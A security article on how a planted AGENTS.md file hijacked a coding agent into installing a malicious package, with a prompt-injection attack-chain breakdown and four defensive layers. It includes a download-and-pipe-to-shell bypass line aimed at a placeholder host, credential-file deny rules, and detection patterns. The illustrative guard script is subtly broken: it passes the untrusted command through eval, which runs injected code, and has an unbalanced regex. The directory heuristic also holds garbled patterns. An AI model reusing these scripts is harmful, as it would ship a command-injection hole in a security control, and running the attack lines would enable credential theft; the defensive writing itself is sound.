AGENTS.md Poisoning and AI Coding Agent Hijacking: Practical Defenses

Introduction

Security industry media reported a real event: a coding agent on a customer machine attempted to install a malicious JavaScript dependency. Following the trail led to an AGENTS.md file in a Downloads directory. That directory happened to be the agent’s working directory. Once the instruction file was read, the agent followed its instructions.

These tools have become daily productivity tools for many backend engineers: switching between project directories, reading code, changing configuration, running tests, and even committing changes. Because of that, the most important lesson is not “another prompt injection,” but a difficult fact: the attacker did not exploit any vulnerability; he used what the agent was designed to do.

This article covers:

• Key facts and assessment;
• A step-by-step attack-chain breakdown;
• Four defense layers, from launch directory to runtime isolation, and the known bypasses of each;
• Practical practices for teams;
• Response steps after compromise.

Applicability note: Different versions and vendors vary significantly in permission management, hook mechanisms, and sandbox capabilities, and configuration names continue to evolve. This article describes the common mechanism model across these tools. Before applying any recommendation, refer to the latest official documentation for the tool you use.

1. Incident Overview: An Instruction That Looked Reasonable

The security company disclosed the following key facts about the case, referred to here as “this incident.”

Dimension	Key facts
Discovery	A coding agent on a customer machine attempted to install a malicious JavaScript dependency package
Source	An AGENTS.md file in a Downloads directory, which happened to be the agent’s working directory
File origin	Not yet determined; researchers believe malicious web pages can download it to the local Downloads directory
Reproduction with a similar tool	Harmless payloads such as “open a calculator” succeeded about 90% of the time
Reproduction with another tool	A project-level instruction file redirected the model service API address to a researcher server, obtained an authorization token, and the server then impersonated the model and issued tool calls; code execution was achieved in about half of the tests
Exposure	Researchers found that hundreds of customers had run coding agents or similar CLI tools in the Downloads directory; one tool alone started more than 1,300 sessions in that directory

From these facts, three judgments can be made.

First, the attack cost is extremely low and attribution is difficult.
The attacker only needed to “drop a Markdown file.” There was no binary payload and no memory-resident payload, so traditional endpoint protection software had almost no reason to block it. During code review, few people read an instruction document meant for AI word by word. Once the instruction file is executed, all subsequent behavior falls under the banner of “the agent is normally executing a user task,” and the logs look like a normal installation operation.

Second, token theft is more damaging than expected.
The redirection technique obtains the model service’s authorization token. Once the attacker has it, they can directly consume the victim’s model quota. More importantly, they can control what the “model” outputs. If the trust boundary between the agent framework and the model is broken, all permission controls in the framework become “guarding the front door while leaving the back door wide open.”

Third, the vendor’s own advice shows where the defense focus should be.
Major AI platform providers recommend starting the agent in a specific project directory and not in the home directory or an overly broad parent directory. In other words, the problem is not that “the agent read an instruction file,” but that “the agent read an instruction file in a directory that should not have been trusted.”

Therefore, the defensive approach in this article is not “detect malicious instructions,” because natural-language instructions are endless and detection will always lag behind. The approach is to limit what the agent can touch, what it can do, and where it can connect to within a predictable range. Even if an instruction is poisoned, the damage stops within that range.

2. Attack Chain: Every Step Looks Reasonable

The attack chain can be broken into four steps:

1. Delivery: A malicious web page silently downloads AGENTS.md or a similar instruction file to the local Downloads directory.
2. Landing point: The Downloads directory happens to be the agent’s working directory.
3. Trigger: The user starts the agent in that directory to handle a seemingly harmless task such as “organize the downloaded files” and confirms trust when first entering the directory.
4. Execution: The agent reads the instruction file and follows it to install a malicious dependency, exfiltrate credentials, or load a remote script.

Individually, none of these steps constitutes a “vulnerability,” which is why the attack is hard for traditional security tools to detect.

2.1 Delivery: Why the Downloads Directory

The default Downloads directory for mainstream desktop browsers is usually Downloads under the user’s home directory. When a webpage triggers a download, the browser usually only shows a confirmation dialog. Once the user clicks “Keep,” the file lands on disk. The Downloads directory has several natural advantages:

• Users access it frequently, so a file can easily blend in among dozens of archives and installers;
• Permissions are often loose, and many tools can read and write there by default;
• It is often the directory users casually ask AI to “organize”;
• Some tools show extra prompts for executables in the Downloads directory, but plain text files do not trigger any warning.

Variant: repository injection. Downloads are only one entry point. Open-source repositories, pull requests, issue comments, and code documentation can all be poisoning vectors. For an agent that “reads the issue first and then acts,” a comment disguised as a requirement description is equally effective. The essence of the attack surface is: any external text that enters the agent’s context is a potential instruction.

2.2 Landing Point: Why the Working Directory Is a Trust Boundary

Most CLI-based coding agents require users to confirm whether they trust a directory when entering it. The reason is direct: the agent reads instruction files in the directory, and it also executes configuration files and scripts in the directory. All of these directly affect its behavior.

The problem is that trust granularity is usually “directory,” not “file.” When a user clicks “Trust,” they are trusting the whole directory and its subdirectories, not each individual text file inside it. Instruction files have no digital signature and no source validation. Files downloaded by browsers often carry an “unknown source” marker, but agents generally do not consult such markers when reading file content.

This creates a mismatch: users think they are authorizing a directory, but in fact they are authorizing any content that anyone puts into that directory at any time.

2.3 Trigger: Why Users Click “Trust” Habitually

If a user is asking the agent to organize files in the Downloads directory, then an AGENTS.md placed there looks like “the project instructions for this directory” to the agent. The typical user workflow is:

1. Open a terminal and enter ~/Downloads;
2. Type something like “help me organize the downloaded files by date”;
3. See the trust prompt and casually select “Trust and continue.”

A more subtle situation is “directory drift”: some tools inherit trust status from parent directories, so subdirectories do not need confirmation again. If a user has started the agent in the home directory and selected trust, all directories below it, including Downloads, may already be trusted. Researchers also found that hundreds of customers had run coding agents in the Downloads directory, which shows that “starting an agent in the home directory or a broad directory” is not an isolated habit but a common one.

There is also a more dangerous case: automated scenarios have no trust prompt at all. Calling an agent in non-interactive mode inside CI pipelines, scheduled jobs, or script wrappers is standard practice for many teams, and non-interactive mode usually does not show a confirmation dialog. This means that once a poisoned file enters the working directory, it can be executed directly.

2.4 Execution: What Instruction Files Can Make the Agent Do

An instruction file is essentially a “system-level” natural-language prompt, and its priority is usually higher than a casual sentence typed by the user. In this incident, the agent was induced to “install a dependency package.” From the attacker’s perspective, that is only the most basic move. Similar techniques include:

• Data exfiltration: Make the agent read ~/.ssh, private registry credential configurations, .env, .npmrc, or cloud platform access credential files, then assemble the content into a curl request under the guise of “troubleshooting” or “collecting diagnostic information.”
• Persistence: Write backdoors into shell configuration files, scheduled tasks, or Git hooks so they remain effective after the agent exits.
• Supply-chain spread: Modify package.json, build scripts, or CI configuration to bring malicious dependencies into a team repository, affecting all collaborators.
• Broad scanning: Use statements such as “environment compatibility check” to make the agent traverse ~/.config, IDE configuration directories, and other project directories, collecting an inventory of the developer’s technical assets.

In one sentence: instruction files can turn all of the agent’s capabilities into the attacker’s capabilities.

3. Four Layers of Defense: What Each Layer Does and How It Can Be Bypassed

Against the attack chain above, defense can be divided into four layers, tightening from the outside in.

Layer	Core objective	Main measures
Layer 1: Launch location	Control the trust boundary	Launch-directory allowlist, isolated workspaces and accounts, regular checks
Layer 2: Permission control	Limit executable actions	Least privilege, precise allowlist matching, downgrading dangerous actions
Layer 3: Hook auditing	Block dangerous call chains	Hook checks for external downloads, intercept credential-file reads, command allowlist validation
Layer 4: Runtime isolation	Reduce the blast radius	Container or VM isolation, read-only mounts, externalized credentials, outbound traffic control

It must be emphasized: any single layer has known bypasses. The value of defense in depth is to raise the attacker’s cost, not to find a “set-and-forget” switch.

Layer 1: Launch Location — Easy to Ignore, High Return

What to do:

• Before launching, confirm the working directory with pwd and make sure it is the specific project directory for the current task;
• Do not start the agent in the home directory, Downloads directory, temporary directories, the desktop, or parent directories containing multiple projects;
• Prepare an isolated sandbox directory for exploratory use, containing only the files that need to be processed;
• Use a separate shell session for each project, and do not cd from a trusted directory into another directory.

Illustrative check script:

#!/usr/bin/env bash
# check-cwd.sh: Check whether the current working directory is safe before starting an agent.
# Usage: cd to the target directory, run this script, and start the agent only after confirmation.
set -u
# Directories that require special caution (extend as needed)
declare -a DANGER_DIRS=(
  "$HOME"
  "$HOME/Downloads"
  "$HOME/Desktop"
  "$HOME/Documents"
  "/tmp"
  "$HOME/.ssh"
  "$HOME/.config"
)
# Resolve the real path to remove symlink and .. effects
real="$(cd -P . && pwd)"
here="$(basename "$real")"
warn=0
for d in "${DANGER_DIRS[@]}"; do
  [ -n "$d" ] && [ "$real" = "$(cd -P "$d" 2>/dev/null && pwd)" ] && {
    echo "[Danger] Current directory is $d. Switch to a specific project directory before starting the agent."
    warn=1
  }
done
# Name-based heuristics: download, temporary, or extracted directories
case "$here" in
  *ownload*|*ns6vw*|*nsväg*|*mp*|[Tt][Xx][Mm][Pp])
    echo "[Warning] Current directory '$here' looks like a download or temporary directory."
    warn=1
    ;;
esac
# If multiple Git repositories exist below the current directory, the scope is too broad
if find . -maxdepth 3 -type d -name .git 2>/dev/null | sed '/^$/d' | awk 'NR>1{exit}' | grep -q .; then
  echo "[Warning] Multiple code repositories exist in subdirectories of the current directory. The working scope is too broad."
  warn=1
fi
if [ "$warn" -eq 1 ]; then
  echo "Conclusion: Switch to a more appropriate directory and confirm before starting an AI coding tool."
  exit 1
fi
echo "Conclusion: The current directory looks suitable for an AI coding tool."

Known bypasses and limitations:

• Trust-state inheritance and memory: Saved trust states are not re-evaluated when directory contents change. An attacker only needs to place a file in an already-trusted location.
• In-directory switching: Some tools allow switching the working directory during a session, and the new directory may inherit the existing trust state.
• Skipping trust confirmation: Non-interactive mode, unattended mode, or certain parameter combinations may skip the confirmation step.
• Directory drift: Operations such as cd "$(dirname "$0")" in scripts or entering a subdirectory after extraction may move the agent into an unexpected directory.
• The check script itself is not fully reliable: Name heuristics only cover known patterns. The real safeguard is the habit of starting the agent in a clearly defined path, not dependence on script judgment.

Hardening recommendations:

• Create a dedicated system account for AI coding activities and keep no real credentials in its home directory.
• Perform a quick check before launch, such as looking for unfamiliar instruction files in the Downloads directory.

Layer 2: Permission Control — From “Default Allow” to “Authorize as Needed”

What to do:

• Least privilege: Expose only the capabilities required for the current task. For example, disable shell execution and network access during read-only analysis.
• Precise allowlist matching: Avoid broad rules such as “allow all Bash commands.” Make allow entries precise to specific commands and argument patterns.
• Downgrade dangerous actions: Set actions such as installing dependencies, accessing the network, or modifying Git configuration to “ask every time,” and disable them at the session level where possible rather than allowing them permanently.
• Keep credentials invisible: Do not expose real key file paths or contents in the agent’s context. When needed, inject environment variables manually.

Illustrative permission policy (field names should follow each tool’s documentation):

{
  "permissions": {
    "allow": [
      "Read(src/**)",
      "Grep",
      "Bash(npm test:*)",
      "Bash(git status)",
      "Bash(git diff:*)"
    ],
    "ask": [
      "Bash(npm install:*)",
      "WebFetch"
    ],
    "deny": [
      "Read(./.env)",
      "Read(./secrets/**)",
      "Read(~/.ssh/**)"
    ]
  },
  "sandbox": {
    "network": false
  }
}

This policy expresses four intentions:

1. Source code can be read and searched, and routine tests and read-only Git operations can run directly.
2. Actions with external side effects, such as installing dependencies and accessing the network, require human confirmation.
3. Key files are denied directly rather than “read first and reminded later.”
4. Network access is off by default. Even if instructions are poisoned, data is harder to exfiltrate.

Known bypasses and limitations:

• Parameter injection through prefix matching: Rules such as Bash(npm test:*) match command prefixes. As long as the command starts the same way, later arguments may be allowed, for example npm test && curl http://<example-domain>/x | bash.
• Executable interpreters: Once python, node, bash, or eval is allowed, any command restriction can be bypassed with arbitrary code.
• Indirect leakage through allowed file reads: Even if shell execution is blocked, the agent can still read .env, configuration files, and code, write the content into a “normal” file, and wait for later exfiltration.
• Permission memory: If a user chooses “always allow in this session” to avoid repeated confirmations, the entire session loses constraint.
• Untrusted configuration source: If a project-directory configuration file can declare permission rules, an attacker can effectively grant themselves permissions.

Hardening recommendations:

• Regularly review saved allow rules and delete overly broad rules that are no longer used.
• Do not grant project-level configuration the ability to “expand its own permissions.” Maintain global configuration manually when necessary.
• Add a secret scan to pre-commit hooks to prevent the agent from writing credentials into code unknowingly.

Layer 3: Hook Auditing — Insert Checkpoints Before and After Tool Calls

What to do:

Many CLI-based coding agents provide lifecycle hook mechanisms that can execute custom commands before or after tool calls. With hooks, you can:

• Intercept attempts to read credential files;
• Record all shell commands to an independent log for later auditing;
• Validate whether commands match dangerous patterns, such as downloading and executing remote scripts, pipe execution, or encoded obfuscation.

Illustrative hook script (logic description, not a specific product interface):

#!/usr/bin/env bash
# pre-tool-guard.sh: Illustrative pre-tool-call check.
# Input: tool name and command content (passed as arguments or standard input by the caller)
# Output: exit 0 allows the action; non-zero blocks it and returns a reason.
set -u
tool="$1"
cmd="${2:-}"
# 1. Block reads of credential-like files
case "$cmd" in
  *".ssh"*|*"id_rsa"*|*".env"*|*".npmrc"*|*".git-credentials"*|*"settings.xml"*)
    echo "Blocked: attempt to read credential-like files" >&2
    exit 2
    ;;
esac
# 2. Normalize the command before matching (example: remove environment-variable assignment prefixes, subshells, and line breaks)
normalized="$(printf '%s' "$cmd" | tr '\n' ' ' | sed -E 's/^[A-Za-z_][A-Za-z0-9_]*=[^ ]* //g')"
expanded="$(eval "printf '%s' \"$normalized\"")"
# 3. Dangerous-pattern detection: remote content directly handed to an interpreter
dangerous='(^|[;&|]|\$\()[[:space:]]*(ba|z|)sh|curl|wget|python[0-9.]*|node|perl|ruby)'
if printf '%s' "$expanded" | grep -Eiq "(curl|wget)[^|]*\|[[:space:]]*(ba|z|)sh"; then
  echo "Blocked: detected remote content piped directly into a shell" >&2
  exit 3
fi
if printf '%s' "$expanded" | grep -Eiq "$dangerous.*(eval|base64[[:space:]]+-d|xxd[[:space:]]+-r)"; then
  echo "Blocked: detected suspicious command in encoded or evaluated form" >&2
  exit 4
fi
# 4. Log install commands before allowing them
if printf '%s' "$expanded" | grep -Eiq "(^|[;&|])[[:space:]]*(npm|npx|pnpm|yarn|pip[0-9.]*|pip3|gem|cargo|go)[[:space:]]+(install|add|i)"; then
  logger -t agent-guard "install command: $expanded"
  echo "Notice: install command was written to the audit log. Manually verify the package source."
fi
exit 0

Known bypasses and limitations:

• Only effective for some tools: Hooks usually apply to file read/write and shell execution tools. If the agent accesses the network or filesystem through an external tool service, hooks may not see it at all.
• Command variants: Indirect execution through environment variables, backticks, $(), eval, Base64 encoding, and Unicode homoglyphs may all defeat regular-expression rules.
• Matching blind spots: Rules that only match command beginnings, only match specific tools, or only match specific argument positions can be bypassed by adding prefixes or line breaks.
• Hook trust issues: Hook commands usually run with the current user’s permissions. If project-directory configuration can declare hooks, execution control is effectively given to the attacker.
• Prompt rather than block: Many hooks can only “output a prompt” or “inject context.” Whether they can block depends on the specific tool implementation.

Hardening recommendations:

• Treat hooks as an “auditing and reminder” layer, not a security boundary.
• Store hook scripts under the user directory and set permissions so only the user can write them.
• In high-risk modes, require manual confirmation for all install commands.

Layer 4: Runtime Isolation — the Last Line of Defense

What to do:

• Run the agent in a container or virtual machine, mounting only the current project directory and mounting system configuration directories read-only;
• Run as a low-privilege user, not with administrator privileges;
• Do not mount the home directory or credential directories such as ~/.ssh, ~/.aws, or ~/.config;
• Inject temporary credentials through environment variables and expire them immediately after the task ends;
• Apply a domain allowlist to outbound traffic, permitting only necessary addresses such as model services and package repositories.

Example: running in a restricted container (parameters depend on the container tool’s documentation):

# Mount only the current project read-only; do not mount the home directory;
# limit memory and process count; deny new privileges.
container-tool run --rm -it \
  --user "$(id -u):$(id -g)" \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=256m \
  --mount "type=bind,src=$PWD,dst=/workspace,readonly" \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --pids-limit 128 \
  --memory 2g \
  --env HOME=/tmp \
  agent-image /bin/sh

Known bypasses and limitations:

• Mounting the home directory is effectively no defense: A mount like -v $HOME:/home/user exposes all credentials to the agent.
• Writable mounts: If a writable directory is mounted so the agent can modify files, a poisoned instruction can directly rewrite project configuration files.
• Privileged containers and host networking: Privileged containers, host networking, or mounting the container runtime control socket can all become escape paths.
• Credentials readable inside the container: If secrets exist inside the container as environment variables or files, the agent can still read and attempt to exfiltrate them.
• Uncontrolled outbound traffic: Container isolation solves lateral movement but not data exfiltration. The latter requires outbound traffic policy.

Hardening recommendations:

• Prepare a dedicated image for the agent and do not bake any credentials into it.
• Allow only necessary domains on outbound traffic and alert on abnormal traffic volume.
• Regularly review the container mount list. Any writable mount of a home directory should be considered high risk.

4. For Teams: Turn Defense into Process

Personal habits can only solve personal problems. Teams need repeatable process constraints.

(1) Write “launch-location rules” into team standards.
Explicitly prohibit starting agents in the home directory, Downloads directory, temporary directories, or broad parent directories. Provide a devcontainer or scripted launch entry in project templates, defaulting to a restricted environment.

(2) Reduce instruction-file risk at the repository level.

• Require code review for instruction files in the repository root, making clear who can change them and what changed.
• Add change alerts for instruction files. If someone adds statements such as “download and execute,” “ignore existing rules,” or “send content to some address,” trigger manual review immediately.
• Digitally sign instruction files or manage them centrally through maintainers to prevent arbitrary pull-request modification.

(3) Disable high-privilege agents in CI pipelines.
Agents in automated pipelines should only have the permissions required for building, should not carry deployment credentials, and should not access production environments. Build artifacts and dependency manifests should undergo independent dependency scanning and integrity validation.

(4) Move secret governance earlier.

• Do not store long-lived cloud credentials on developer machines. Use short-lived credentials or temporary credentials approved manually.
• Add secret scanning to pre-commit hooks.
• Regularly rotate credentials that may have been read by an agent.

(5) Build “agent behavior auditing” capability.

• Collect command execution, file read/write, and network requests from agents into a centralized logging service, and set alerts for sensitive path access and abnormal outbound connections.
• Configure rules on the monitoring and alerting platform: reading many credential files in a short time, sending data to unfamiliar domains, or installing dependencies in a non-working directory should all trigger alerts.

5. If You Are Compromised: Response Steps

If you suspect compromise, follow this order: stop the bleeding first, then collect evidence, and finally recover.

1. Disconnect the network: Immediately disconnect or disable the relevant network interface to prevent further data exfiltration and remote control.
2. Terminate processes: Stop all agent processes and child processes, including node, python, and sh, while preserving state for forensics.
3. Rotate credentials: Handle them in order from the largest impact scope to the smallest:
   • Model service API keys and authorization tokens (priority: the main target of redirection attacks);
   • Cloud platform access keys, code repository access tokens, and package registry publish tokens;
   • SSH private keys and abnormal entries in known_hosts;
   • Database and middleware account passwords.
4. Check for persistence:
   • Look for abnormal commands in shell configuration files such as .bashrc, .zshrc, and .profile;
   • Check scheduled tasks (crontab -l) and startup items;
   • Check Git hook directories (.git/hooks);
   • Check package manager global installation directories and postinstall scripts.
5. Inspect dependencies and artifacts:
   • Review recently added dependencies in lock files and verify publisher, download count, and publish time;
   • Check whether dependency manifests such as package.json, pom.xml, build.gradle, and requirements.txt were modified;
   • Check whether built images and artifacts were contaminated, and rebuild them if necessary.
6. Clean up and rebuild: Delete suspicious files (especially instruction files in the Downloads directory), roll back to a trusted commit, and rebuild dependencies from a clean environment.
7. Review and harden: Add the incident to the team’s security retrospective, update launch-directory rules, permission policies, and monitoring rules, and run a targeted drill.

6. Pre-Deployment Checklist

Check item	Pass criteria
Launch directory	Start only in a specific project directory, not in the home directory, Downloads directory, or temporary directories
Isolated workspace	Use a separate account and separate directory for exploratory tasks, with no access to real credentials
Permission policy	No “allow all commands” rule; install, outbound access, and Git configuration writes require manual confirmation
Credential management	Credentials are not placed in paths readable by the agent; use short-lived credentials
Hook auditing	Hook scripts are read-only, stored in the user directory, and command logs are centrally collected
Runtime isolation	Run in a restricted container or VM, mount only the project directory with appropriate read/write permissions, and use an outbound allowlist
Instruction-file governance	Repository instruction files are included in review and change alerts
Monitoring and alerting	Alerts exist for credential access, abnormal outbound connections, and nonstandard installations
Incident response plan	There is a clear process for network disconnection, process termination, credential rotation, and forensics

Conclusion

The most important lesson from this incident is: it did not exploit any vulnerability. The fact that AGENTS.md is read, trusted, and executed is part of the agent’s design. This means defense cannot rely on waiting for a vendor patch. It must be built into how the tool is used: start in the correct directory, grant the least privilege, lock down runtime, and keep credentials where the agent cannot see them.

Among the four defense layers, the launch directory is the easiest to overlook and has the highest return. Permission control provides daily constraints. Hook auditing provides evidence. Runtime isolation is the last fallback. Any single layer has known bypasses, but together they multiply the attacker’s cost and exposure risk.

Start with three things today:

1. Check your shell history and see how many times the agent was launched in the home directory or Downloads directory.
2. Clean up overly broad saved permission rules.
3. Prepare a restricted launch script for commonly used projects.

These three steps take less than ten minutes, but they can block most “one click and you’re compromised” situations.